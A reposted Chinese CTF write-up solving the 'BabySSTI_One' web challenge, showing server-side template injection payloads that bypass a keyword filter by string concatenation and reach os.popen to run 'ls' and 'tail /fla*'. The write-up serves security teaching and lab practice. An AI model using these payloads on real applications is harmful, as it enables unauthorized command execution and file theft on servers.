[NewStarCTF公开赛赛道]BabySSTI_One

admin 2026-09-23 06:07:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文为NewStarCTF公开赛赛道Web题目BabySSTIOne的解题记录。题目考察SSTI服务端模板注入漏洞利用,涉及WAF绕过、字符串拼接、获取object基类及子类、查找os.wrap_close类并执行系统命令。通过拼接绕过关键字过滤,使用tail替代cat、通配符替代flag路径实现命令执行,最终读取文件获取flag。文章步骤清晰,具备可操作性。 综合评分: 72 文章分类: CTF,WEB安全,漏洞分析,渗透测试


[NewStarCTF 公开赛赛道]BabySSTI_One

原创

devildollking devildollking

熔城Sec

2026年9月21日 09:00 辽宁

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

01

题目简介

  • 题目名称:[NewStarCTF 公开赛赛道]BabySSTI_One
  • 题目平台:CTF²
  • 题目类型:Web

02

解题步骤

启动靶机

查看网页源代码,发现存在waf

判断是否存在ssti

?name={{().__class__}}

发现被过滤,使用拼接绕过

?name={{()['__cla'+'ss__']}}

通过相同的方法获取object

?name={{()['__cla'+'ss__']['__ba'+'se__']}}

#

获取所有子类

?name={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()}}

查找

执行ls命令

?name={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('ls${IFS}/')['read']()}}

因为cat 和 flag被过滤,所以进行替换,cat换成tail,/flag_in_here换成fla*

?name={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('tail /fla* ')['read']()}}

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:熔城Sec devildollking devildollking《[NewStarCTF 公开赛赛道]BabySSTI_One》

评论:0   参与:  0